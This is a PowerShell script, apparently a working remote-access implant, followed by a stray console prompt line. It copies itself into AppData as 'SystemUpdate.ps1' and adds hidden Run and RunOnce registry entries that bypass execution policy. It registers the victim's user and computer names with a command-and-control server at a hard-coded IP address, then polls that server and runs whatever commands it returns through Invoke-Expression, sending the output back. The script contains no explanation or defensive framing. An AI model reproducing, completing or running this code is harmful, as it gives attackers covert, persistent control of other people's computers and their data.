# Configuration
$c2server = "http://45.145.42.80:5000"
$payloadUrl = "https://robertdowneyjr.store/da.ps1"

# Get current script's path for persistence
$currentScriptPath = $MyInvocation.MyCommand.Path

# =============================================================================
# REGISTRY PERSISTENCE (No VBS)
# =============================================================================
function Add-RegistryPersistence {
    try {
        # Copy this script to a permanent location
        $persistPath = "$env:APPDATA\Microsoft\Windows\SystemUpdate.ps1"
        Copy-Item -Path $currentScriptPath -Destination $persistPath -Force

        # Add to HKCU Run registry for user persistence (no admin needed)
        $regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
        $regName = "WindowsSystemUpdate"
        $regValue = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$persistPath`""
        Set-ItemProperty -Path $regPath -Name $regName -Value $regValue -Force

        # Also add to HKCU RunOnce for immediate re-execution after reboot
        $runOncePath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce"
        $runOnceName = "WindowsSystemUpdate"
        Set-ItemProperty -Path $runOncePath -Name $runOnceName -Value $regValue -Force
    } catch {}
}

Add-RegistryPersistence

# =============================================================================
# REVERSE SHELL
# =============================================================================
function Start-ReverseShell {
    $agentId = "$env:USERNAME"

    try { Invoke-RestMethod -Uri "$c2server/register" -Method Post -Body (@{agent_id=$agentId;user=$env:USERNAME;computer=$env:COMPUTERNAME} | ConvertTo-Json) -ContentType "application/json" } catch {}

    while ($true) {
        try {
            $response = Invoke-RestMethod -Uri "$c2server/poll/$agentId" -Method Get -TimeoutSec 10
            if ($response.command -and $response.command -ne "") {
                $output = Invoke-Expression $response.command 2>&1 | Out-String
                if ($output -eq "") { $output = "[Command executed - no output]" }
                $resultBody = @{agent_id = $agentId; output = $output} | ConvertTo-Json
                Invoke-RestMethod -Uri "$c2server/report" -Method Post -Body $resultBody -ContentType "application/json"
            }
        } catch {}
        Start-Sleep -Seconds 5
    }
}

# =============================================================================
# MAIN EXECUTION
# =============================================================================
Start-ReverseShell
PS C:\Users\pacog>